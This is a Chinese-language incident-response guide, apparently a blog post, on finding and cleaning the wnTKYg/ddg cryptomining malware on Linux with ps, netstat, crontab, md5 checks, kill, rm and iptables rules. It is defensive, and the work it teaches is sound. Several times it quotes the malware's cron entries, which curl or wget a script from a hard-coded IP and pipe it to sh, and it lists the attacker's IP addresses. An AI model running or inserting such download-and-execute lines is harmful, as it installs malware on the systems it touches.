挖矿病毒排查

四、挖矿恶意程序处理流程

4.1 异常问题定位

4.1.1 异常进程排查

(1)top 排查

使用top命令直接动态排查可能异常进程,配合 -c可以直接查找到异常进程的物理位置。
1. # top -c

(2)ps -ef 排查

  1. # ps -ef |grep wnTKYg
  2. ps -ef |grep ddg.2021

    (3) 疑似进程定位

  3. [root@localhost ~]# find / -name wnTKYg*

  4. /tmp/wnTKYg
  5. [root@localhost ~]#
    4.1.2 异常会话排查

(1) # netstat -pantul |grep ESTAB

查询会话建立情况,查看是否有异常会话连接。
1. [root@MiWiFi-R3-srv tmp]# netstat -pantul |grep ESTAB
2. tcp 0 0 192.168.31.9:22 192.168.31.75:3898 ESTABLISHED 3742/sshd
3. tcp 0 0 192.168.31.9:56842 163.172.226.120:443 ESTABLISHED 7263/wnTKYg
4. tcp 0 0 192.168.31.9:22 192.168.31.75:3953 ESTABLISHED 3795/sshd
5. tcp 0 0 192.168.31.9:35286 104.131.231.181:8443 ESTABLISHED 7193/ddg.2021
6. tcp 0 0 192.168.31.9:55200 218.248.40.228:8443 ESTABLISHED 6339/curl
7. [root@MiWiFi-R3-srv tmp]#

4.1.3 计划任务排查

(1) # crontab -l

查询当前计划任务中是否存在异常未知的任务被添加。
1. [root@localhost ~]# crontab -l
2. /5 * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
3. /5 * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
4. You have new mail in /var/spool/mail/root
(2) 直接查询用户任务配置文件

  1. [root@MiWiFi-R3-srv ~]# tree /var/spool/cron/
  2. /var/spool/cron/
  3. ├── crontabs
  4. │ └── root
  5. └── root
  6. 1 directory, 2 files
  7. [root@MiWiFi-R3-srv ~]# cat /var/spool/cron/root
  8. /5 * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
  9. /5 * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
  10. [root@MiWiFi-R3-srv ~]# cat /var/spool/cron/crontabs/root
  11. /5 * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
  12. /5 * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
  13. [root@MiWiFi-R3-srv ~]#
    4.1.4 恶意程序确认

如果此时你还不确认当前程序是否是恶意程序,可以直接将定位到的疑似恶意程序进行md5 hash后进行校验比对进行确认。
md5校验网站:https://www.virustotal.com/#search
(1) 进行疑似文件的md5sum 哈希
1. [root@MiWiFi-R3-srv tmp]# md5sum wnTKYg
2. d3b1700a413924743caab1460129396b wnTKYg
3. [root@MiWiFi-R3-srv tmp]#
(2) 进行MD5哈希疑似病毒校验比对
直接将疑似文件wnTKYg的md5哈希值复制到病毒校验网站https://www.virustotal.com/#search进行查询比对。通过比对结果,我们可以清晰的看到wnTKYg为恶意程序。

4.2 挖矿恶意程序处理方式

4.2.1 直接清理恶意程序

(1)清除计划任务

首先第一步需要先删除计划任务,因为计划任务会每5分钟循环下载恶意程序并授权执行;
* 方法一
直接使用crontab命令配合参考 -r 直接情况crontab列表中的任务,使用前请确认任务列表中任何生产相关的计划任务。
1. # crontab -r # 直接使用此命令即可上次当前用户的计划任务
2. #
3. # crontab -l # 直接查询当前用户是否还存在计划任务
4. no crontab for root
* 方法二
在确认计划可能还存在其他正常业务需要的时候,我可以直接编辑计划任务的配置文件,删除我们看到恶意写入的计划任务内容。
1. # vi /var/spool/cron/root
2. #
3. # /var/spool/cron/crontabs/root
分别编辑以上两个root配置文件,删除恶意计划任务内容,即可。
1. /5 * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
2. /5 * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
3. ~
4. ~
5. ~
(2) 杀死恶意进程

第二步就杀死相关的恶意运行行为的程序,除了wnTKYg与ddg.2021以为,当前若存在curl程序,也应该将其杀死。
* 方法一:直接杀死程序
1. # pkill wnTKYg
2. # pkill dgg.2021
3. # pill curl
* 方法二:杀死恶意程序进程号
注:方法二往往都是在方法一不好使的时候强制来使用的。
1. # ps -ef |grep wnTKYg # 查询恶意程序的ps进程号
2. # kill -9 PID
3. ## ps -ef |grep ddg.2021 # 查询恶意程序的ps进程号
4. # kill -9 PID
5. ## ps -ef |grep curl # 查询恶意程序的ps进程号
6. # kill -9 PID
(3) 清除恶意程序

清理过程的最后一步才是进行相关恶意程序的删除操作。
1. # rm -rf /tmp/wnTKYg
2. # rm -rf /tmp/ddg.2021
3. # rm -rf /tmp/i.sh
4.2.2 禁止服务主动访问互联网

禁止服务主动访问互联网的方法是我们快速处理挖矿恶意程序对服务器影响的最快,最有效的方法,也是一劳永逸的,当然有外面的人是怎么进来的,不是我们这里主题,这里不做过多的说明。接下来就详细的记录与分析下我们为什么这么做,怎么做。
4.2.2.1 问题分析

  • (1) wnTKYg 分析
    通过对挖矿程序的运行机制我可以知道,矿工(miner)即恶意程序wnTKY的主要运行机制就是为比特币网络提供底层的运算的能力,即需要主动去链接外网,如果此时我限制服务器主机主动访问网络的话,是不是就可以限制wnTKY的运行能。有过对挖矿恶意程序处理经验的小伙伴都知道,其实挖矿恶意程序唯一做的事情就是在你为授权的情况利用你服务主机的运算能力为黑客搭建的矿池提供计算能力,帮他挣钱。一旦我们的服务不能主动访问互联网了,其实对于这里黑客就没有意义了,因为此时我们的服务就无法将计算的结果提交给矿池了,也无法同步与下载计算任务了。
  • (2) i.sh 与ddg.2021分析
    通过前面的分析学习,我们知道ddg.2021程序是主程序也是wnTKYg的守护进程,其是由i.sh下载下来并执行的,所以对于i.sh与ddg.2021的下载,我们也要禁止掉。
    4.2.2.2 如何下发网络访问控制

其实禁止主机主动访问互联的方法有很多,比如可以通过网络中的防火墙禁止服务主动连接互联;或者在做内网返现代理时,就不代理内网服务器都可以实现我们的目标。
不过我这里只说明了怎么利用我们的Linux服务器只带的防火墙iptables来下发访问控制,禁止服务主动连接互联网。
* (1) 检查恶意程序外网互联地址
第一步就是通过会话监控命令,监控查询恶意程序 wnTKYg、ddg.2021、curl下载的外网互联地址;
1. [root@MiWiFi-R3-srv tmp]# netstat -pantul |grep ESTAB
2. tcp 0 0 192.168.31.9:22 192.168.31.75:3898 ESTABLISHED 3742/sshd
3. tcp 0 0 192.168.31.9:56842 163.172.226.120:443 ESTABLISHED 7263/wnTKYg
4. tcp 0 0 192.168.31.9:22 192.168.31.75:3953 ESTABLISHED 3795/sshd
5. tcp 0 0 192.168.31.9:35286 104.131.231.181:8443 ESTABLISHED 7193/ddg.2021
6. tcp 0 0 192.168.31.9:55200 218.248.40.228:8443 ESTABLISHED 6339/curl
* (2) 下发外网访问控制策略
依据查询出的外网互联地址,直接下发访问控制策略,禁止服务访问这些网络地址。
1. [root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 163.172.226.120 -j DROP
2. [root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 104.131.231.181 -j DROP
3. [root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 218.248.40.228 -j DROP
4. [root@MiWiFi-R3-srv tmp]#

4.3 找到入侵的源头

以上所有说的这么多都是与大家一起了解下挖矿的恶意程序是怎么运行的,在我们的服务器到底做了些什么,我应该如何应对这个恶意程序,当然也可以为其他恶意程序的问题定位与处理提供借鉴与参考。
但是,归根结底问题还是出在我们的服务上,我们的服务可能存在漏洞被人恶意利用了,服务被入侵,我们必须找到入侵的根源才能确保服务的安全。
有关服务器入侵根源的查找的方法,这里不做展开说明了,简单记录下基本思路。
* (1)查找当前服务器日志,收集可能入侵的痕迹,确认入侵的根源;
* (2)针对服务器应用和主机层面进行自查与安全扫描,确认服务器本身是否存在大的漏洞
* (3)在确认或疑似漏洞被确认后,迅速的安排进行加固修复,
* (4)建议最好对关键数据进行备份,重新部署系统与应用,并进行相应的安全配置,修复存在的安全漏洞,重新上线。
五、挖矿事件应急处理总结

5.1 确认挖矿事件

5.1.1 异常进程排查

  1. # 进程动态快速定位,使用 top -c可快速定位异常经常的物理位置,查询异常进程。
  2. # top -c
  3. # ps -ef 排查
  4. # ps -ef |grep wnTKYg
  5. # ps -ef |grep ddg.2021
  6. # 疑似进程定位
  7. [root@localhost ~]# find / -name wnTKYg*
  8. /tmp/wnTKYg
  9. [root@localhost ~]#
    5.1.2 异常会话排查

  10. 查询会话建立情况,查看是否有异常会话连接。

  11. netstat -pantul |grep ESTAB

    5.1.3 计划任务查询

  12. [root@localhost ~]# crontab -l

  13. /5 * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
  14. /5 * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
  15. You have new mail in /var/spool/mail/root
    5.1.4 异常病毒校验

第一步:使用md5sum 命令进行疑似文件哈希
1. # md5sum wnTKYg
2. d3b1700a413924743caab1460129396b wnTKYg
第二步:进行疑似病毒MD5哈希值的校验比对
直接将疑似文件wnTKYg的md5哈希值复制到病毒校验网站https://www.virustotal.com/#search进行查询比对。通过比对结果,我们可以确认疑似文件是否是恶意程序。
5.2 处理恶意程序

5.2.1 清除计划任务

  1. # crontab -r # 直接使用此命令即可上次当前用户的计划任务
  2. #
  3. # crontab -l # 直接查询当前用户是否还存在计划任务
  4. no crontab for root
    5.2.2 杀死恶意进程

  5. pkill wnTKYg

  6. # pkill dgg.2021
  7. pill curl

    5.2.3 清除恶意进程

  8. rm -rf /tmp/wnTKYg

  9. # rm -rf /tmp/ddg.2021
  10. # rm -rf /tmp/i.sh
    5.2.4 下发访问控制策略

下发访问控制策略,禁止服务互联三个恶意程序外联的外网地址。
1. # 查询恶意进程外网互联地址
2. #
3. # netstat -pantul |grep ESTAB
4. tcp 0 0 192.168.31.9:22 192.168.31.75:3898 ESTABLISHED 3742/sshd
5. tcp 0 0 192.168.31.9:56842 163.172.226.120:443 ESTABLISHED 7263/wnTKYg
6. tcp 0 0 192.168.31.9:22 192.168.31.75:3953 ESTABLISHED 3795/sshd
7. tcp 0 0 192.168.31.9:35286 104.131.231.181:8443 ESTABLISHED 7193/ddg.2021
8. tcp 0 0 192.168.31.9:55200 218.248.40.228:8443 ESTABLISHED 6339/curl
9. # 下发放控制策略,禁止服务的外网互联
10. #
11. # iptables -A OUTPUT -d 163.172.226.120 -j DROP
12. # iptables -A OUTPUT -d 104.131.231.181 -j DROP
13. # iptables -A OUTPUT -d 218.248.40.228 -j DROP

你可能感兴趣的:(web安全,Linux)